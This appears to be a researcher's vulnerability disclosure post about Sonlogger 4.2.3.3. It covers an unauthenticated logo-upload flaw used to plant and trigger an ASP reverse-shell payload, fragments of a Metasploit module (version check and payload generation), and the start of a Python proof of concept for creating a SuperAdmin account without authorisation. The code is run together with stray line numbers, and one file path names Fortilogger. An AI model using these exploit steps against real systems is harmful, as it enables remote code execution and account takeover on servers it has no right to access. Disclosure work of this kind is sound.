Sonlogger is a 3rd party solution to log and report system for Sonicwall devices related.
Vulnerability Discovery
This vulnerability found on upload a company logo under Hotspot Settingshttp://<IP>:5000/config/hotspotsettings). An anonymous user can be send a file without any authentication or session header with POST request to /Config/SaveUploadedHotspotLogoFile .
The file uploads under C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img destination with logohotspot name without controlling file extention or content.
Using this vulnerability, a malicious file can be uploaded and accessed the remote server where the application was running.
Vulnerability Exploitation
I found and tested this vulnerability on version 4.2.3.3 for now. So, firstly check the version of application. The application has an API for getting some information about the application with POST request to /shared/GetProductInfo. I get only version number on it.
unless res return CheckCode::Unknown('Target is unreachable.') end
unless res.code == 200 return CheckCode::Unknown("Unexpected server response: #{res.code}") end
version = Gem::Version.new(JSON.parse(res.body)['Version'])
if version < Gem::Version.new('6.4.1') CheckCode::Vulnerable("SonLogger version #{version}") else CheckCode::Safe("SonLogger version #{version}") end rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'The target may have been updated') end end
Generate ASP reverse tcp payload
1 2 3
defcreate_payload Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s end
Upload payload to target system and we already know the file located on /Assets/temp/hotspot/img/logohotspot.asp. So, trigger it for reverse connection;
This software has 2 more vulnerabilities, information disclosure and create user without any authorization or session header. Here is the exploit and POC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
python3 sonlogger-superadmin_create.py
Sonlogger Log and Report System - v4.2.3.3 Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
Berkan Er <b3rsec@protonmail.com> @erberkan
Usage: python3 sonlogger-superadmin_create.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >
IP: IP Address of Sonlogger host PORT: Port number of Sonlogger host TRUE: Create User FALSE: Show Product Infos
# Exploit Title: Sonlogger SuperAdmin Account Creation Vulnerability / Information Disclosure # Date: 04-02-2021 # Exploit Author: Berkan Er # Vendor Homepage: https://www.soplog.com/ # Version: 4.2.3.3 # Tested on: Windows 10 Enterprise x64 Version 1803 # A remote attacker can be create an user with SuperAdmin profile
#!/usr/bin/python3
import argparse import string import sys from random import random
import requests import json
banner = ''' Sonlogger Log and Report System - v4.2.3.3 Remote SuperAdmin Account Creation Vulnerability / Information Disclosure Berkan Er <b3rsec@protonmail.com> @erberkan '''